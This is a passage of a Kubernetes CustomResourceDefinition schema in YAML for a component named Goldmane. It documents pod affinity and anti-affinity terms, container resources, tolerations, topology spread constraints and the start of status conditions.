                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of goldmane containers.
                                    If specified, this overrides the specified EGW Deployment containers.
                                    If omitted, the goldmane Deployment will use its default values for its containers.
                                  items:
                                    properties:
                                      name:
                                        enum:
                                        - goldmane
                                        type: string
                                      resources:
                                        description: ResourceRequirements describes
                                          the compute resource requirements.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: NodeSelector gives more control over
                                    the nodes where the goldmane pods will run on.
                                  type: object
                                priorityClassName:
                                  description: PriorityClassName allows to specify
                                    a PriorityClass resource to be used.
                                  type: string
                                terminationGracePeriodSeconds:
                                  description: TerminationGracePeriodSeconds defines
                                    the termination grace period of the goldmane pods
                                    in seconds.
                                  format: int64
                                  minimum: 0
                                  type: integer
                                tolerations:
                                  description: |-
                                    Tolerations is the goldmane pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the goldmane Deployment.
                                    If omitted, the goldmane Deployment will use its default value for tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                                topologySpreadConstraints:
                                  description: |-
                                    TopologySpreadConstraints describes how a group of pods ought to spread across topology
                                    domains. Scheduler will schedule pods in a way which abides by the constraints.
                                    All topologySpreadConstraints are ANDed.
                                  items:
                                    description: TopologySpreadConstraint specifies
                                      how to spread matching pods among the given
                                      topology.
                                    properties:
                                      labelSelector:
                                        description: |-
                                          LabelSelector is used to find matching pods.
                                          Pods that match this label selector are counted to determine the number of pods
                                          in their corresponding topology domain.
                                        properties:
                                          matchExpressions:
                                            description: matchExpressions is a list
                                              of label selector requirements. The
                                              requirements are ANDed.
                                            items:
                                              description: |-
                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                relates the key and values.
                                              properties:
                                                key:
                                                  description: key is the label key
                                                    that the selector applies to.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    operator represents a key's relationship to a set of values.
                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                  type: string
                                                values:
                                                  description: |-
                                                    values is an array of string values. If the operator is In or NotIn,
                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                    the values array must be empty. This array is replaced during a strategic
                                                    merge patch.
                                                  items:
                                                    type: string
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - key
                                              - operator
                                              type: object
                                            type: array
                                            x-kubernetes-list-type: atomic
                                          matchLabels:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                            type: object
                                        type: object
                                        x-kubernetes-map-type: atomic
                                      matchLabelKeys:
                                        description: |-
                                          MatchLabelKeys is a set of pod label keys to select the pods over which
                                          spreading will be calculated. The keys are used to lookup values from the
                                          incoming pod labels, those key-value labels are ANDed with labelSelector
                                          to select the group of existing pods over which spreading will be calculated
                                          for the incoming pod. The same key is forbidden to exist in both MatchLabelKeys and LabelSelector.
                                          MatchLabelKeys cannot be set when LabelSelector isn't set.
                                          Keys that don't exist in the incoming pod labels will
                                          be ignored. A null or empty list means only match against labelSelector.
                                          This is a beta field and requires the MatchLabelKeysInPodTopologySpread feature gate to be enabled (enabled by default).
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                      maxSkew:
                                        description: |-
                                          MaxSkew describes the degree to which pods may be unevenly distributed.
                                          When `whenUnsatisfiable=DoNotSchedule`, it is the maximum permitted difference
                                          between the number of matching pods in the target topology and the global minimum.
                                          The global minimum is the minimum number of matching pods in an eligible domain
                                          or zero if the number of eligible domains is less than MinDomains.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 2/2/1:
                                          In this case, the global minimum is 1.
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |   P   |
                                          - if MaxSkew is 1, incoming pod can only be scheduled to zone3 to become 2/2/2;
                                          scheduling it onto zone1(zone2) would make the ActualSkew(3-1) on zone1(zone2)
                                          violate MaxSkew(1).
                                          - if MaxSkew is 2, incoming pod can be scheduled onto any zone.
                                          When `whenUnsatisfiable=ScheduleAnyway`, it is used to give higher precedence
                                          to topologies that satisfy it.
                                          It's a required field. Default value is 1 and 0 is not allowed.
                                        format: int32
                                        type: integer
                                      minDomains:
                                        description: |-
                                          MinDomains indicates a minimum number of eligible domains.
                                          When the number of eligible domains with matching topology keys is less than minDomains,
                                          Pod Topology Spread treats "global minimum" as 0, and then the calculation of Skew is performed.
                                          And when the number of eligible domains with matching topology keys equals or greater than minDomains,
                                          this value has no effect on scheduling.
                                          As a result, when the number of eligible domains is less than minDomains,
                                          scheduler won't schedule more than maxSkew Pods to those domains.
                                          If value is nil, the constraint behaves as if MinDomains is equal to 1.
                                          Valid values are integers greater than 0.
                                          When value is not nil, WhenUnsatisfiable must be DoNotSchedule.
                                          For example, in a 3-zone cluster, MaxSkew is set to 2, MinDomains is set to 5 and pods with the same
                                          labelSelector spread as 2/2/2:
                                          | zone1 | zone2 | zone3 |
                                          |  P P  |  P P  |  P P  |
                                          The number of domains is less than 5(MinDomains), so "global minimum" is treated as 0.
                                          In this situation, new pod with the same labelSelector cannot be scheduled,
                                          because computed skew will be 3(3 - 0) if new Pod is scheduled to any of the three zones,
                                          it will violate MaxSkew.
                                        format: int32
                                        type: integer
                                      nodeAffinityPolicy:
                                        description: |-
                                          NodeAffinityPolicy indicates how we will treat Pod's nodeAffinity/nodeSelector
                                          when calculating pod topology spread skew. Options are:
                                          - Honor: only nodes matching nodeAffinity/nodeSelector are included in the calculations.
                                          - Ignore: nodeAffinity/nodeSelector are ignored. All nodes are included in the calculations.
                                          If this value is nil, the behavior is equivalent to the Honor policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      nodeTaintsPolicy:
                                        description: |-
                                          NodeTaintsPolicy indicates how we will treat node taints when calculating
                                          pod topology spread skew. Options are:
                                          - Honor: nodes without taints, along with tainted nodes for which the incoming pod
                                          has a toleration, are included.
                                          - Ignore: node taints are ignored. All nodes are included.
                                          If this value is nil, the behavior is equivalent to the Ignore policy.
                                          This is a beta-level feature default enabled by the NodeInclusionPolicyInPodTopologySpread feature flag.
                                        type: string
                                      topologyKey:
                                        description: |-
                                          TopologyKey is the key of node labels. Nodes that have a label with this key
                                          and identical values are considered to be in the same topology.
                                          We consider each <key, value> as a "bucket", and try to put balanced number
                                          of pods into each bucket.
                                          We define a domain as a particular instance of a topology.
                                          Also, we define an eligible domain as a domain whose nodes meet the requirements of
                                          nodeAffinityPolicy and nodeTaintsPolicy.
                                          e.g. If TopologyKey is "kubernetes.io/hostname", each Node is a domain of that topology.
                                          And, if TopologyKey is "topology.kubernetes.io/zone", each zone is a domain of that topology.
                                          It's a required field.
                                        type: string
                                      whenUnsatisfiable:
                                        description: |-
                                          WhenUnsatisfiable indicates how to deal with a pod if it doesn't satisfy
                                          the spread constraint.
                                          - DoNotSchedule (default) tells the scheduler not to schedule it.
                                          - ScheduleAnyway tells the scheduler to schedule the pod in any location,
                                            but giving higher precedence to topologies that would help reduce the
                                            skew.
                                          A constraint is considered "Unsatisfiable" for an incoming pod
                                          if and only if every possible node assignment for that pod would violate
                                          "MaxSkew" on some topology.
                                          For example, in a 3-zone cluster, MaxSkew is set to 1, and pods with the same
                                          labelSelector spread as 3/1/1:
                                          | zone1 | zone2 | zone3 |
                                          | P P P |   P   |   P   |
                                          If WhenUnsatisfiable is set to DoNotSchedule, incoming pod can only be scheduled
                                          to zone2(zone3) to become 3/2/1(3/1/2) as ActualSkew(2-1) on zone2(zone3) satisfies
                                          MaxSkew(1). In other words, the cluster can still be imbalanced, but scheduler
                                          won't make it *more* imbalanced.
                                          It's a required field.
                                        type: string
                                    required:
                                    - maxSkew
                                    - topologyKey
                                    - whenUnsatisfiable
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
              type: object
            status:
              description: GoldmaneStatus defines the observed state of Goldmane
              properties:
                conditions:
                  description: |-
                    Conditions represents the latest observed set of conditions for the component. A component may be one or more of
                    Ready, Progressing, Degraded or other customer types.
                  items:
                    description: Condition contains details for one aspect of the
                      current state of this API Resource.
                    properties:
                      lastTransitionTime:
                        description: |-
                          lastTransitionTime is the last time the condition transitioned from one status to another.
                          This should be when the underlying condition changed.  If that is not known, then using the time when the API field changed is acceptable.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          message is a human readable message indicating details about the transition.
                          This may be an empty string.
                        maxLength: 32768
                        type: string
                      observedGeneration:
                        description: |-
                          observedGeneration represents the .metadata.generation that the condition was set based upon.
                          For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date
                          with respect to the current state of the instance.
                        format: int64
                        minimum: 0
                        type: integer
                      reason:
                        description: |-
